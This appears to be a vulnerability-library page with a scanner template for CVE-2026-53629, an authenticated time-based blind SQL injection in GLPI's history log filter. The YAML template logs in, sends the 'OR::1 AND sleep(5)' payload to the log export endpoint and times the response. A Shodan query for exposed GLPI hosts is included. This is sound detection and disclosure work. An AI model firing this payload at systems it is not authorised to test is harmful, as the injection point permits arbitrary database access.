/Vulnerability Library

GLPI - Blind SQL Injection in History Log Filter (LogBleed)

CVE-2026-53629
Early Release

Description

GLPI versions before 10.0.26 and 11.0.8 are vulnerable to a blind SQL injection in the history log filter. The Log::convertFiltersValuesToSqlCriteria() function splits the affected_fields filter into key:operator:value parts and DBmysqlIterator::analyseCrit() does not quote OR, AND and NOT as column names, allowing an authenticated user with logs READ right to inject arbitrary SQL. Verified against glpi/glpi:10.0.25 (Docker + MariaDB): filter "OR::1 AND sleep(5)" produces "... AND (((((1 AND sleep(5))))))" in the query and the request takes ~5s. On 10.0.26 the same payload is rejected (~30ms).

Severity

High

CVSS Score

8.8

Published Date

August 9, 2026

Template Author

boreas37

CVE-2026-53629.yaml
id: CVE-2026-53629

info:
  name: GLPI - Blind SQL Injection in History Log Filter (LogBleed)
  author: Boreas37
  severity: high
  description: |
    GLPI versions before 10.0.26 and 11.0.8 are vulnerable to a blind SQL injection in the history log filter. The Log::convertFiltersValuesToSqlCriteria() function splits the affected_fields filter into key:operator:value parts and DBmysqlIterator::analyseCrit() does not quote OR, AND and NOT as column names, allowing an authenticated user with logs READ right to inject arbitrary SQL. Verified against glpi/glpi:10.0.25 (Docker + MariaDB): filter "OR::1 AND sleep(5)" produces "... AND (((((1 AND sleep(5))))))" in the query and the request takes ~5s. On 10.0.26 the same payload is rejected (~30ms).
  reference:
    - https://github.com/glpi-project/glpi/security/advisories/GHSA-cpcj-x335-5cmh
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-53629
    cwe-id: CWE-89
  metadata:
    max-request: 4
    verified: true
    shodan-query: title:"Authentication - GLPI"
  tags: cve,cve2026,glpi,sqli,blind,time-based,authenticated

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'id="login_name"'
          - '_glpi_csrf_token'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: uname
        part: body
        internal: true
        group: 1
        regex:
          - 'id="login_name" name="([^"]+)"'

      - type: regex
        name: pwd
        part: body
        internal: true
        group: 1
        regex:
          - 'id="login_password" name="([^"]+)"'

      - type: regex
        name: token
        part: body
        internal: true
        group: 1
        regex:
          - '_glpi_csrf_token" value="([a-f0-9]+)"'

  - raw:
      - |
        POST /front/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{uname}}={{username}}&{{pwd}}={{password}}&_glpi_csrf_token={{token}}&submit=Login

    redirects: true
    max-redirects: 3

    matchers:
      - type: word
        part: body
        words:
          - "logout.php"
        internal: true

  - raw:
      - |
        GET /front/user.form.php?id=2 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /front/log/export.php?itemtype=User&id=2&filter%5Baffected_fields%5D%5B0%5D=OR::1%20AND%20sleep(5) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "duration >= 5"
        condition: and

      - type: word
        part: body
        words:
          - "ID;Date;User;Field;Update"
# digest: 4a0a0047304502206817a6b65217ed6b0bde9aa2f7ec273962188d9cdb38a3bc73f42f96b6ddfe73022100b7c17e628005fea8c50cc29a670ce9113ef5a62d44f6fb37fd03184664b5aab1:922c64590222798bb761d5b6d8e72950
8.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-53629
CWE ID:
cwe-89

References

https://github.com/glpi-project/glpi/security/advisories/GHSA-cpcj-x335-5cmh